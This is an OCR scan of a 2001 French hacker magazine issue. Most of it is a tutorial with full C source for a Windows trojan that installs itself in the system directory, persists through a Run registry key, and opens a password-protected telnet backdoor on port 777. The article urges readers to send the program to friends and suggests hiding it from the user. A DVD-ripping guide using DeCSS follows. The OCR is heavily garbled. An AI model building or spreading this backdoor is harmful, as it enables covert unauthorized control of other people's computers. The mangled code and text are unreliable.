{5934FFEG»28D4» 11CF-A Eﬁﬁ-ﬂﬂmlBZElZﬁﬂ ={ 5984FFEQ-23D4-11CF-AE66-
08002B2E1262}

[{5984FFE0-28D4-11CF-AEG6-08002B2E1 2621]
PersistMoniker=file://Folder.htt

[-ShellClassInfo]

ConfirmFileOp=0

. S




Inclus une exclu:

Ton TROYEN (nas trop mechant)  faire toi meme
6t @ envoyer 4 tes amis pour les faire rigoler...

Bon, a ce stade, vous
devriez savoir ce qu'est un
trojan. Maintenant, on va
en faire un vrai de vrai,
en partant de zéro.

Alors, voila, on a fait le
choix de le faire en C.
C'est du code bien pur,
hien clean et assez léger.
Et ca marche nickel, que
ce soit sous Win
95/98/Me/NT/2k

Alors en quoi ¢a consiste au juste ? Déji, le code
source est relativement clair, avec des commentaires
expliquant ce qui se passe. On ne va quand méme pas
détailler chaque appel des APIs de Windows, faut pas
exagérer.

Allez, c’est parti, on plonge dans le code... Quand le
programme est lancé, il va d'abord vérifier s'il vient
juste de faire son apparition sur I'ordinateur ou 'l
commence i avoir[habitude d'érrelancé. 5'il est nouveau,
il va aller faire connaissance avec le répertoire win-
dows\system (ouwinnt\system32 rypiquement) etsecren-
serun petitnid. Il ne va pasoublier de mettre le réveil aussi
pour érre prévenu Q.chaque détmrnge dewindows et pou-
voir se faire beau .

Pour tester ¢a en fait, on a mis en place un perirt test
tout con, qui vérifie si le programme a été lancé depuis
%SystemDir%\msdhzv32.exe, ot %SystemDir% est le
répertoire systéme de Windows, donc typiquemen c:\win-
dowsl\sysrem ou c:\winnt\system32. 5'il a éeé lancé de
14, il va se dire, ok tout va bien on continue tranguillon.
Sinon, il va lancer install(), qui va copier le fichier de
son emplacement actuel dans
%SystemDir%\msdhzv32.exe, et écrire dans la base de
registres pour sé lancer i chaque démarrage (accessoi-
rement, il va aussi stocker le mot de passe dans la base

deregistres, mais onverragaplus tard). Vous allez me dire
+ mais il est con ce test, il teste méme pas s'il est dans la
base de registres ou pas. Ben oui il est simple ce test,
c'est juste un exemple, banane. A vous maintenant de pro-

rammer votre test perso (n'espérez pas devenir un
Eacker un tant soit peu sérieux si vous n'étes pas
capablede programmer un peu.. faur pas réver, les meilleurs
outils sonc roujours soit

ceux qu'on écrit soi-méme au cas par cas, soit ceux
qu'on modifie soi-méme pour les adaprer, alors si vous
savez vraiment pas programmer, un bon conseil, appre-
nez !).

Bon voili pour le démarrage. Ensuite on lance le ser-
veur et les choses séricuses commencent. Le principe
est simple : on écoute les communications entrantes
sur un port donné (PORT_SERVEUR. en l'occurence)
et dés qu'il y 2 une connexion, on interpréte ce qui est
envoyé, Alors pour ¢a, il faut d'abord initialiser une
socket, se mettre en écoute, etc. Je vous passe le détail
de ees opérations fastidieuses, Cest dans le source.

Ensuite on rentre dans une boucle dont on n'est pas
préedesortir, et dans certe boucle, on commence par voir
s'il y a une connexion la ot on écoutait. 5i c'est le cas,
on va récupérer ce qu'on (c'est-a-dire vous a l'autre
bout de la planéte depuis un pauvre telnet sur un vieux
terminal pourri) va envoyer comme commandes et on
va exécuter les ordres, C'est tout con hein ? Donce
RecoitLigne va récupérer une ligne de com

mandes, et AVosOrdres va l'exécuter suivant les fone-
tions que l'on aura implémentées.

Au passage, quand on établit la connexion, on n'af-
fiche rien pour commencer, et on attend que l'utilisa-
teur lointain entre le bon mot de passe (le mor de
passe part défaut est voice). Une fois qu'il a rentré le
bon mot de passe etappuyé sur Entrée, on peut commencer
les festivités.,

RecoirLigne n'a rien de passionnant i étudier, on
prend les caracréres du buffer un par un jusqu' avoir
une erreur ouun rerour i laligne. Etvoila c’est torché. Bon
il y a aussi évidemment le renvoi d'une valeur booléen-
nepourdiresi rours'est bien passé, si onalu quelque chose,
etc. mais je n'insisterai pas dessus va que la plupart de
nos routines renvoient une valeur pour vérifier que
tour roule rranquille,

Quanr 4 AVosOrdres, ¢'est la partie du programme
ot on peut vraiment s'amuser. C'est 13 qu'on va implé-
menter les commandes reconnues par notre superbe appli-
cation client/serveur d'administration a distance avancée,
Alors bon, on en a mis 2/3 pour vous montrer com-
ment ¢a marche, maintenant i vous de jouer pour
rajouter les foncrionnalicés qui vous semblent, disons,

uriles.

Voila, c’est tout ce qui est implémenté dans le code
source que vous allez voir. On n'a pas mis plus parce
qu'il Faut bien que vous appreniez un peu par vous-mé

me, et on a rien mis de méchane parce qu’il ne faur
pas déconner avec ce genre de choses. Maintenant
faites travailler votre imaginarion, pensez a des fonc-
tionnalités marrantes, programmez-les et le tour est
joué ! Maintenant que le coeur du serveur est fair,

@

I'ajour de cesc PP ires estun jend'en-
fant, il suffit de les gérer dans le gros switch(buffer[1]) qui
est dans AVosOrdres.

Aurre dérail - non négligeable, a ce stade, nowre trojan est
d'une discrétion inégalée, puisque dés que quun
se conecte an serveur, la personne qui est sur le serveur |
a droit & une superbe MessageBox, lui indiquant en
particulier quivient de se connecter, le summurn de ladis-
crétion quoi =D On a évidemment vu aussi dans la
liste des commandes acruellement implémentées la
possibilité de refaire apparaitre cerre MessageBox, au
cas o1 vous n'étes pas encore sir d'étre repéré 8-) Je
pense que ¢'est peut-éere le genre de trucs que vous
voudrez enlever quand vous testerez votre trojan
modifié ;) Autre idee, pour les plus motives, faire en
sorte que le process n'apparaisse pas dans la barre des
taches, enutilisant la fonction de RegisterServiceProcess
de KERNEL32.DLL... Bon coding !

Ce trojan veus a été offert par :
<d.ignis> et Fozly

Pour Mintant les commandes reconmues sont les sulvantes :

1

Atfiche ung boite de dislogue chez la persanne qui a la tro-
Jan installe, avec des infog sympa, genre [P etiou le nom
d'ordi du vilain petit on train de I'attaguar 3

q
Coupe |a connexion. On arréte de faire mumuse quoi.

r
Desinstaile ie trojan. En fait il vire Fentrée dans |a hase de
registres qui fait se lancer le programme 2 chague rede-
marrage et fait s'interrompre le serveun

phiouveauletDePasse

Permet de changer le mot de passe. E1 oul, je vous avais
it il y a unmot depasse, quiestvérifia quand on s connec-
1e au serveur. Evidemment, une fois connecte, on peut le chan-
ger. il suffit de taper p NouveauMotDePagse.

Détails pratiques: une fois le code source tapé,
comment Uénécuter 7 I fauidra le compiler avec
n‘importe quel compilateur € Win32, mais vous avez
le plus de chance de réussiv du premier coup avec
(j'ai honte de le dire) Visual (++ de M***, Vous pouvez
utiliser Les options de La version Release du fichier
ie projet que nous publions également.

NACHERT VBIGE/MAI 2001




LE CODE SOURCE EXCLUSIF
DU TROVEN HZV (VERSION 1.0)
EN LANGAGE C

1/ Recopie chaque ligne du programme dans n’importe quel compila-

teur C WIN 32 (dispo sur le
2/ Envoie I'exe par mail a ta
3/ Quand elle

web cf). Bonne nuit!
“victime” consentante.
I’a lancé et s’est connecté,

prend le controle de sa

machine en tapant la commande suivante (sous Dos): telnet [son IP] 777

Effet produit: A distance, tu contrdles la machine de ton copain, et tu fais apparaitre des messages dhumour sur son écran.

j
J* HZV/Trojan pour Hackarz Voice n®4
par <d.ignis> et Fozdy
/i Open Source Rul3Z ! ;=D

#include <sys/types.h>
tinclude <sysistat.h>
#include <windows.h>
#include <windowsx. >
#include <stdio.h>
#include <stdlib.h>
#include <string. h>
#include <winsock.h>

#define BUFF_SIZE 1000
#define PORT_SERVEUR 777

intinit{);

BOOL AccepteClients(}.

vold AVosOrdres(SOCKET s, char® buffer);
BOOL RecoitLigna(SOCKET s, char® buffer);
woid install();

void uninstall();

vold RegPass();

BOOL CheckPass(char® pass);

void nicewindow();

SOCKET sListener;

char cTexte[100];

const char cHackerzVoice[] = "Vous avez 618 hackés par un lec-
teur de HaCKeRZ VoiCa, le Paris Match de la sécurité informa-
tigue "aPour ne plus vous faire avolr aussi |amentablement,
lisez done 1g Voica n®4...\nn™;

congt char ciomServeur(] = "Msdhzva2 exe";

char cPass[50] = "voice",

char eGrosLogo[2000];

char cWinDir[300] = "C:";
char cNomActuel[100];

char cTemp[2000];

char cLaPlauleDuTrojan[400];

struct sockaddr_in SockAddrBuffer,
int SackAddrLen = sizeof{struct sockaddr);
struct hostent” HostEntPointer,

BOOL AccepteClients()
J/* Description

et en place |a socket sur taquelle on va écouter, et... écoute
justement. Ds qu'il regoit une connexion, les choses SErieuses
VOnt Commencer...

Arguments ©
Ben, aucuns. Vious voyez des arguments nécessaires ?

Retour :
Marche ? Marche pas ?

*
|
SOCKET s;
SOCKADDR_IN sin;
int err;
BOOL bFini=FALSE,
char buffer[BUFF_SIZE];

i On initialise winsocks

WORD wVersionRequested;

WSADATA wsaData;

wWersionRequested = MAKEWORD( 2,0 ):

err = WSAStartup( wVersionFfequested, &wsaData )2
if(errt=0)1{

return FALSE,
|

Jf On crée ung socket serveur

sListener = socket( AF_INET, SOCK_STREAM, 0 );
if { sListenar == INVALID_SOGKET } |

return FALSE;
1

/i On définit Te port associé 4 la socket

sin.sin_family = AF_INET;
sin.sin_port = htons( PORT_SERVEUR ),
sin.sin_addr,s_addr = INADDR_ANY;

err = bind{ sListener, (LPSOCKADDA)&eln, sizeof(sin) );
if { grr == SOCKET_ERROR )

closesocket| sListener );

return FALSE;
|

if On gst & l'affdL..

err = listen sListener, 5 );

if { grr == SOCKET_ERROR ) {
closesocket| sListener j;
return FALSE;

|

J{ ...de connexions

while { TRUE ) {

char cLogo[] ="

n\r## h@CKeRz Vo|Ca RemET3
@Dmin|§T(r)4ToR - Access Granted A

A
bFini = (1 == 0);

s = accept( sListener, (struct sockaddr °)
(&SocknddrButfer), &SockAddrLen);
it (5 == INVALID_SOCKET ) {
closesocket( sListener );
return FALSE;
|

Ji Vrification du mot de passe

bFini = IRecoitLigne(s, buffer);

if {|CheckPass{buffer+1)) |
closesocket(s);
continug;

I

/! Message d'accueil
send(s,cLogo strien(cLogo).0); i
A distance
nicewindow();
{f gt an local

while(!bFni) (
bFini = RecoitLigne(s, buffer);
it (bFini)
break;
AvpsOrdrests, buffer);
Steep(50);
]

closesocket(s):
b

| If AccepteClients
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”
void AVosOrdres(SOCKET s, char™ buffer)
-
Intarpréte et exdcute les commandes envoyées
Quelques exemples pour volre bonneur
Maintenant il n'y a plus qu'a faire travaillar votre imagi-
nation
by
|
char cOK[] = "HZV DK™
switch (buffer[1])
case 0 return;
/i Ghanger le mot de passe
case o
if (strlen(buffer) - 3 <
100) {
sprintf{cTexte,
cOK);
sprintf{cTexts
+ strien(cTexte), *- p 777"},
sprintf{cPass,
butter+3);
|
FiegPass();
send(s, cTexte,
strign(cTexte), 0);
return;
|
/i Enlaver 'exécution automatique
Case 'rid
uninstall{);

t

{f Terminer |a connexion, on s'est 45582
amusé comme ¢a...
case gt
stropy|cTexte, cOK);
streaticTexte, *-
7TV,
send(s, cTexte,
strien(cTexte), 0);
closesocket(s);
returm;
!

{/ Spécial je veux me faire r
case i)

rer

stropy(cTexde, cOK),
streat{cTexte, - 2

T,
send(s.cTexte,
strien{cTexte),0):
nicewindow():
return;

I
BOOL RecoitLigne{SOCKET §, char™ butfer)
"

o

|
inti=0;
interr=1;
buffer{0] = 1;
buftar[1] = 0

while{(err 1= SOCKET_ERROR) & (buffer[i] != )
&& (hufferfi] 1= ) && (| < BUFF_SIZE-1) && (err 1= 0)) {
err = recv(s, buffer + is++ 1, 1,0);
|

if {it=0)
butter(l] =0;
return ({err = SOCKET_ERROR) && (i < BUFF_SIZE)




&& (err 1=10));
|

Int init{)

|
AccepteClients();
retumn 0;

b

BODL CheckPassichar* pass)
i
HKEY hkey;
unsigned int i;
unsigned long viype = REG_5Z:
unsigned long buflen;
char buf{100];
DWORD dwDisposition;
char key[] =
“77730642E69676E697 3IE466FFASATITIT"
char crypted[50];

if {\(strlen{pass) < sizeoficTemp))) |
return v
1

for(i=0; | < sirlen(pass); i++) |
cTempli] = pass{i] * key[i % strien(key]];
|

cTempll] = tl

stropy(buf, "hav");
| = RegCreateKeyEx(HKEY_CLASSES_ROOT, buf, 0, NULL,
REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey,
&dwDisposition);
if {i == ERROR_SUCCESS) |
bufien = 50;
i = RegQueryValueEx(hKey, “InfoTips™, 0,
&vtype, crypted, &buflen);
RaglloseKey(hKey);
|

return (stremp(cTemp crypted) == D),
|

void RegPass()
HKEY hKey;
unsigned int i;
char buf[100];
DWORD dwDisposition;

char key[] =
“7773C642E69676EROT I3EABBFTASATITTT",

J/ Une routine de cryptage révolutionnaire !
for(i=0; | < strien(cPass); i++){

)
cTemp[i] = 0

eTempli] = cPass(i]  key(i % strien(key)]:

strepy(buf, " hav"):
| = ReqCreateKeyEx({HKEY_CLASSES_ROOT, buf, 0, NULL,
REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey,
&dwDisposition);
it (i == ERROR_SUCCESS) [
| = RegSetValueEx(hKey, “InfoTips", 0, REG_SZ, cTemp,
strien(cTernp));
ReglloseKey(nKey),
]

raturm,
|

void uninstall()

HKEY hKey;
inti;
char buf{100];
DWORD dwDisposition;

strepy(but, “SOFTWARE MicrosoftiWindows\CurrentVer-
slonRun");

i = RegCreateKeyEx(HKEY_LOGAL_MACHINE, but, 0, NULL,
REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hKay,

&dwDisposition);
if (i = ERROR_SUCGESS) {
i = RegDeleteValue(hKay, clomServeur);
RegCloseKey(hKey};
)

exit(777);
]

void install(}
|

char buf[16384];

FILE "origine,*dest;

inti;
DWORD dwDisposition;
HKEY hiey:

/I Ouvre P'exe actusl, et crée e nouveau dans le répar-

tolre windows/system

if {{origine = fopen(chipmActugl,"rb")) == NULL)
returm;

it ((dest = fopen(cLaPiauleDuTrofan,"wb")}==NULL} {
felose(arigine);
return;

// Fait la copie

while (TRUE) [
i=tread(buf, 1, 16000, origine),
If (i «=0)
break;
fwrite(buf, 1, 1, dest);
|

felose(origine);
feloseldest);

/i Fin de |a copie

J/ On va quand méme se lancer & chaque rédémarra-
e,

{f c'est plus convivial...

ff D°pil un petit arrét au stand au niveau de la base de
regisires

strcpy(buf, “SOFTWARENMicrosoftiWindows\CurrentVer-
sioniAun");

i = RegCreateKeyEx{HKEY_LOCAL_MACHINE, buf, 0, NULL,
REG_DPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hey,
&dwDisposition);

if (i == ERROR_SUCCESS) {

i = RegSetvalueEx{hKey, cNomServeur, 0, REG_SZ cla-
PiauleDuTrojan, strien{cLaPiauleDuTrojan});
RepgCloseKey(hkay),
I

RegPass();

returm;
}

woid initlogo()
1

/i Merci pour ces polices, ainsi que le programme qui

a permis de les utiliser : Jave 0.7 beta

strepy(eGrosLogo,

strcat(cBroslogo, * 40 4 i m s

Wom W)

streat(cGrosLogo, ' #:+  #+ 41+ 414 ik
£+ 44+ 0

streat{cGrosLogo, * +¥++++fes feriiies 4

B e e T i

strcat{cGrosLogo, * +8+  +he sdr e b
B e O L WS

+
e

streat(cGrosLogo, * #4+4 #uddd At dad A

#od #4d Bd A e B )

strcaticGroslogo, " ### ##F BEE  #4F FEHEIEE

#4 £R0 BOREEEERE A0 SRR SR AT

streat{cGrosLogo, * I-
) \n");

strcat{sGrosLogo, “ [ [ [- o i
44 4 W)

J A

1

streat(eGrosLogo, ™ [ [ [ 0.0 L L
I A S A

strcatieGrostogo, * [ [ [ [LLe [eele
i S )

streat(cGrostogo, * [ [ L[ [ A
2 S

streat(cGrostogo, * [ L. [+ [ [ i

)

retum;

woid nicewindow()

char* IP;

strepy(cTemp, cGrosLogo):

streal(cTemnp, cHackerzVoice);

streat(cTemp, “\nL'ordinateur qui est en train de vous

attaquer a pour nom ; °);

HostEntPointer = gethostbyaddr{{const char *}) &{Soe-

KAddrBuffer.sin_addr), sizeof(struet in_addr), AF_INET};

if (HostEntPointer == NULL)

streat{cTemp, “inconnu™);
else

streat(cTemp, HostEntPointer-=h_name);
streat{cTemp, “ - IP<");
|P = inef_ntoa( SockAddrBuffer.sin_addr);
streat{cTemp, IP);
MessageBox(NULL cTemp,"h@(c)K3(rja\"

V|(c)3"MB_OK);

|

retum;

Int APIENTRY WinMain({HINSTANCE hinstance,

HINSTANCE hPravinstance,
LPSTR  IpCmdLine,

int  nCmdShow)

int |,j=0;

JI Récupare le nom du fichier, et ie ra_psm:ﬂre win-

dows/system

GetSystemDirectory(cWinDir, 300}
sprintf{cNomActuel, GetCammandLing());
for(l=0; cNomActuel[i] = 0; i++) {
i (chomActugl[i] 1=""){
cLaPiauleDuTrajanf] = chomAc-

tuel[i}

[
i
|
sprintf{cNomActuel, cLaPiaulzDuTrojan),
sprintf{cLaPiauleDuTrojan, cWinDir);
sprintf(cLaPiauleDuTrojan + strlen(cLaPiauleDuTro-

jan), "W

sprintf(cLaPiauleDuTrojan + strien{cLaPiauleDuTro-

jan), cNomServeur);

/i Si c’est une exécution du programme dailleurs que

2a maizon, on linstalle “proprement”

if {stremp{cNomActuel, cLaPiauleDuTrojan) != 0)

install():
3 D
Page suivante:
Les options
DSP du méme
programme.
\ J
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LE CODE SOURCE EXCLL
(VERSION 1.0) EN LANGA

# Microsoft Developer Studio Project File - Name="xicp201” - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
#** DO NOT EDIT **

# TARGTYPE “Win32 (x86) Application” 0x0101 Special ﬂPﬂlﬂl‘&S:

CFG=xtcp201 - Win32 Debug o
IMESSAGE S5 the Export Makefio Command. anetron =, 5170 NMAKE. Dans le prochain
IMESSAGE NMAKE / cp201.mak. sz, nous publie-
IMESSAGE . _ . 2
Eﬁgggggg by ot the macrn GG on the sammand . For example: rons U'adresse inter-
IMESSAGE NMAKE /f "xtcp201.mak” CFG="xtcp201 - Win32 Debug"

imgggﬁgg Possible choices for configuration are: nEt \e e tnp
EE oo o s oo iy | SECPRCE SUF Lauells
:mggggglé “xtcp201 - Win32 Release Torche” (based on “Win32 (x86) Application”) nous avons mis en

# Begin Project llg“e ces

;& ggg; gl!owger_{h?lonﬁg Dependencies 0
cc_ProjName **

# PROP Soc_LocalPath * programmes...

=cl.exe

MTL=midl.exe Al'gl'lh... va fﬁllﬂil’

RSC=rc.exe

IIF “$(CFG)” == “xtcp201 - Win32 Release” attendre deux mois

# PROP BASE Use MFC 0

# PROP BASE Use_Debug_Libraries 0 (ou la demander

# PFlgE Eﬁ\gg IOutput_Dir ‘Re!eage'; = 3

# PR ntermediate_Dir “Release”

# PROP BASE Target_Dir = ge“t'ment pdr mdll

# PROP Use-Debug Librarles 0 a la redacti
se_Debug_Libraries )

# PROP Qutput_Dir "Release” a recaction

# PROP Intermediate_Dir “Release” \

# PROP Ignore_Export_Lib 0

# PROP Target_Dir “

# ADD BASE CPP /nologo /W3 /GX /02 /D “WIN32" /D “NDEBUG” /D “_WINDOWS" /YX /FD /e

# ADD CPP /nologo /W3 /GX /02 /D “WIN32" /D “NDEBUG" /D * WINDOWS" /¥X /FD /c

# ADD BASE MTL /nologo /D “NDEBUG" /mktyplib203 /o “NUL" /win32

# ADD MTL /nologo /D “NDEBUG” /mktyplib203 /o "NUL" fwin32

# ADD BASE RSC /1 0x411 /d “NDEBUG"

# ADD RSC /I 0x411 /d “NDEBUG"

BSC32=bscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 kernel32.1ib user32.lib gdi32.lib winspool.lib comdig32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid lib

odbc32.lib odbcep32.lib /nologo /subsystem:windows /machine: 1386

# ADD LINK32 wsock32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdig32.lib advapia2.lib shell32.lib ole32.lib oleaut32.lib

uuid.lib odbe32.lib edbeep32.lib /nologo /subsystem:windows /debug /machine:1386

IELSEIF “$(CFG)" == "xtcp201 - Win32 Debug’”

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 1

HACHERE VOICE/MA 2001 [@l
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# PROP BASE Output_Dir “Debug”

# PROP BASE Intermediate_Dir “Debug”

# PROP BASE Target_Dir “

# PROP Use_MFC 0

# PROP Use_Debug_Libraries 1

# PROP Output_Dir "DebugD"

# PROP Intermediate_Dir “Debug”

# PROP Target_Dir “*

# ADD BASE CPP /nologo /W3 /Gm /GX /Zi /Od /D "WIN32" /D *_DEBUG" /D "_WINDOWS" /YX (FD /c
# ADD CPP /nologo /W3 /Gm /GX /ZI /Od /D “WIN32" /D “_DEBUG" /D “*_WINDOWS" /'YX /FD /c

# ADD BASE MTL /nologo /D “_DEBUG" /mktyplib203 /o “NUL" /win32

# ADD MTL /nologo /D “_DEBUG" fmld%plib‘?(}s /o *NUL" /win32

# ADD BASE RSC /| Ox411 /d *_DEBUG"

# ADD RSC /I Ox411 /d *_DEBUG"

BSC32=bscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 kernel32 lib user32.lib gdi32.lib winspool.lib comdig32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib
odbe32.1ib odbeep32.lib /nologo /subsystem:windows /debug /machine:1386 /pdbtype:sept

# ADD LINK32 kernel32.lib user32.1ib gdi32.lib winspool.lib comdig32.lib advapi32.lib shell32.1ib ole32.lib oleaut32.lib uuid.lib
odbe32.lib odbecp32.lib /nologo /subsystem:windows /debug /machine:1386 /pdbtype:sept

IELSEIF “$(CFG)" == “xtcp201 - Win32 Release Torche”

# PROP BASE Use_MFC 0

# PROP BASE Use_Debug_Libraries 0

# PROP BASE OQutput_Dir "xicp201___Win32_Release_Torche"

# PROP BASE Intermediate_Dir “xtcp201___Win32_Release_Torche"

# PROP BASE Ignore_Export_Lib 0

# PROP BASE Target_Dir *

# PROP Use_MFC 0

# PROP Use_Debug_Libraries 0

# PROP Output_Dir “xtcp201___Win32_Release_Torche"

# PROP Intermediate_Dir “xtep201___Win32_Release_Torche”

# PROP Ignore_Export_Lib 0

# PROP Target_Dir **

# ADD BASE CPP /nologo /W3 /GX /02 /D "WIN32" /D “NDEBUG" /D “_WINDOWS" /'YX /FD /c
# ADD CPP /nologo /W3 /GX /O2 /D "WIN32" /D “NDEBUG" /D “_WINDOWS" /YX /FD /c

# ADD BASE MTL /nologo /D “NDEBUG” /mktyplib203 /o “NUL" /win32

# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /o “NUL" /win32

# ADD BASE RSC /l 0x411 /d "NDEBUG"

# ADD RSC /I 0x411 /d “NDEBUG"

BSC32=hscmake.exe

# ADD BASE BSC32 /nologo

# ADD BSC32 /nologo

LINK32=link.exe

# ADD BASE LINK32 wsock32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib
oleaut32.lib uuid.lib odbe32.lib odbeep32.lib /nologo /subsystem:windows /machine:1386

# ADD LINK32 wsock32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdig32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib
uuid.lib odbe32.lib odbeep32.lib /nologo /subsystem:windows /debug /machine:1386

IENDIF
# Begin Target

# Name “xtcp201 - Win32 Release”

# Name “xtcp201 - Win32 Debug”

# Name “xtcp201 - Win32 Release Torche”
# Begin Source File

SOURCE=\xtcp201.c
# End Source File

# End Target

# End Project
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Graver sur

DE SIMPLES GDR DES FiLMS DVD LISIBLES SUR TOUS

On arréte de croire que c’est le plastique quon achéte et n

La der, on vous avait montré
comment convertir un DVD en
fichier " .avi " faisant moins
e 650 méga. Catte fois on va
encore plus lein, puisque vous
IW'aurez méme pas besoin d'or-
di pour lire ces CD-R, on appel-
le ca des VED 2.0 ou GDI

RECETTE :

1. Copier e DVD sur le tisque dur
2, bxtraire Ia bonne pisie audio
8. La convertir en MPEG1

4. Découper Ie fichier vidéo
5. Graver

6. Apprécier

A nos lecteurs

Les informations publiées
dans Hackerz Uoice ont un
ob jectif purement documen -
taire. Le journal rappelle a ce
titre que le piratage informa -
tique, sous quelque forme
que ce soit, est un délit (lire
page 7). Hackerz Uoice
condamne naturellement
toute forme de piratage et
soutien sans ambiguité les
actions qui lutient contre la
HACHERZ VOIGE/ Al 2001

Preface :

Pour le plaisir, car il est clair fue vu le
prix du film DVD enrre 120 er 220 francs
que ¢a ne vaut pas forcément le coup, va
letemps que ¢a demande (temps de conver-
sion) soiren moyenne pour un flmde 1h30
mn / 15 heures deconversion, sans oublier
que votre PC reste allumé tour ce remps.
Ce qui entraine une nsure plus rapide i
tous les niveaux. Voir également la perte
de qualitéen formar Mpeg 1. Il existe aussi
un autre formar qui est le Mpeg 4, mais
hors sujet car celui-ci n'est compatible
qu'avec un pe ayant les eodecs, non lisible
sur un lecreur DVD de salon. En ce qui
concerne les DVD desalon, faire arcention
lejour ouvousl'achetez; plusieurscritéres
rentrent en ligne de compte : i savoir |
Lemondeest ﬂm enbzones quise nom-
ment 1,2,3,4,5,6. Pour la France c'est la
zone 2, done prévoyez un DVD dézon-
nable afin de voir des films en zone 1
qui ne sont pas sortis encore en France,
Prévoyez également la macrovision (1'an-
ti-copie surcertain DVD) On peutlareci-
rer, Prévoyez également les formats qu'il
valire : DVD, CD-R, CDI, (formar VCD
1.0 et 2.0) CD-RW ete..... Attention ce
n'est pas parce que votre DVD licles
CD1 qu'il lira vos CD-R gravés au for-
mat VCD. Le lecteur doit étre compa-
tible CD-R. Bon, maintenant, voyons
ensemble la procédure.

Les softs :

DeCSS1.2.1b: Ceprogramme sertacopier
vos fichiers *.vob sur votre hdd
Panasonic MPEG1 Encoder 2.0: Sert 3
compresser en Mpeg 1
FlasKMPEGO0.563:le p

permet de régler les paramecres
VCDCutrer 4.01 : Il vous sere i décou-
per votre fichier vidéo une fois terminé
Néro 4.0.7.0: Ce programme sert i créer
(gravure) un ed au formar VCD 2.0

quivous

Les numéros de version de ses softs
fonctionnent Parﬁiremmr,je les ai tescé
moi-méme. Ils se trouvent cous sur Inter-
net, Ou? cherchez, pas la peine d'en-
voyer des mails au rédac chef.

Configuration
Matérielle

Minimum : Windows 98, un lecteur
Dvd, P11 266 Mhz, 64 Méga mémoires
vives. Hdd 10 gigas.

Requise: PI11500 Mhz, 256 Mégamémoi-
re vive. Hdd 20 gigas

Vous pouvez essayersur un 486 ca dure envi-
ron 15 ans (j'ai essayé bien entendu),

N Copler le DVD sur le
disque dur

Urilisez le programme DeCSS 1.2.1b 1 il
décrypteercopie les fichiers *.vobsur votre
disque dur. 5§'il ne reconnait pas la clef
de codage c'est qu'il n'y en a pas, Dans
ce cas, copiez directement le fichier
*.vob survatre disque duren effecruantun
copier-coller,

Dans I'autre cas voici la procédure :
Insérez votre DVD (le Film) dans vorre
lecreur ec lancez le programme DeCSS

1.2.1b.

Les fichiers vab 4 copier son ceux res-
semblant 4 VTS_01_1.vab,
VTS_01_2.Vob erc.. bien siir cest ceux
qui sont lourds. Achrung, il faur les
copier au méme endroit pour Flask. A notez
que la compression que nous allons uri-
liser va écre environ d'un rapport 14 4
(ils vonr devenir 4 fois plus perits)

Attetion,'option "Merge Vob Files "n'est on [le plugin, pas e répertoire |, NOT]: Resiol-
pas au poinr. Donc faites les un par un, I PEGpeasepeich.di

Ensuite chargez le premier fichier *.Vob
Flask va ouvrir le fichier et vous mon-
trer les pistes audis, du genre :
AC3audio subtrack 0x82 inside main track
OxBD

AC3 andio subtrack 081 inside main track
O0xBED

AC3audiosubrrack 0xB0 inside main track
0xBD

et merrez-les tous sur le méme disque
dur et au méme endrait.

H Extraire la bonne piste
sudio -

On seserviradu programme FlasK MPEG
0.563 / Lancez-le !

Pour gue ce Fisak fonctionne correcte-
ment il faut installer le plugin Panasonic
ot notez oii celui-ci va s'Installer. Le pre-
gramme 'instaliation veus le demandera,
ot 5i vous avez Premiore instalié il points-
P'a vers 6 répertoire plugin de Premiers,
sinon vous devrez lui indiguer le répartol-
re oil vous voulez placer le plugin. Une

Le nom eriging! du plugin devrait étre quelgue
chose du type "cm-mpeg-pwi2.0e.prm"
bien que cela pulese différer selon les
versians. 81 vous avez trouvé et coplé
avec succes ie plugin dans Is répertoire
de Fiask MPEE vous devez le renommer

MEER

(Mpegvidéo track 0xEO érantla piste vidéa)

Alors quelle est la bonne piste ? A 99,99%,
c'est la OxB1. Soit :

AC3 andio subtrack 0x81 inside main track
0xBD

Si vous n'étes pas siir, faites des tests.
Donesélectionnez la, et appuyezsurle bou-
ton Flask ir |
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H La convertir en MPEG1

LECTEURS DD,

on pas le droit de voir le film.

PORTABLES

Copyright (c) 1997-1990 Matsushita Electric Indusirial Co., Ltd.

1. Premiére chose i faire: Dans le menu
Options / selectourpur format sélectionnez
MPEG.

2, Toujours dans le menu Options sélec-
rionnez Qurpur Formar options et entrez

les paramétres du format VCD (voir encadré)

Les paramétres & utiliser sont ;

Dans la fenérre : Data Rate (kbits/sec)
Vidéo: 1150 Audio: 224

Stream Formar sélectionnez :

VidéoCD/PAL

Voicl un rappel du Format VCD

Parameter PAL
Video Data Rate 1150 [kbits/sec]
Frame Rate 25 [fps]
Output image Size 3524288
VBV Bufier Size A0 [KBytes]
Pel Aspect PAL/4:8
GOP Sequence 15-15-8
Audio Frequency 44100 [Hz]
Audio Channel ..... Stereo
Audio Bata Rate 224 [kbits/sec]

3. Toujours dans le menu Oprions sélec-
tionnez ; Global project oprions (Export
movies secting)

Les paramérres sont: Wideh 352 Height
288 Time Base (fps) 25

iDCT oprions : 3 possibilicés, Mais si
vouls avez un processeur avec les inscruc-
tions MMX alors sélectionnez MMX
iDCT, sinon sélecrionnez non-MMX
fastiDCT, 1a 3 éme possibilité ese: IEEE-
1180 référence quality iDCT (Slowest)
mais je vous le déconseille car pour un
filmde 1h30mn aulieude mertre 15 heures
il va en falloir 32, sans que l'on voie de
différence 2 l'image. Done il est inutile
de s'en servir,

Dans la partie Audio, Sélectionnez Déco-
deaudio et 44100Hz. Si 48000H 2 est sélec-
tionné er que vous ne pouvez pasle changer
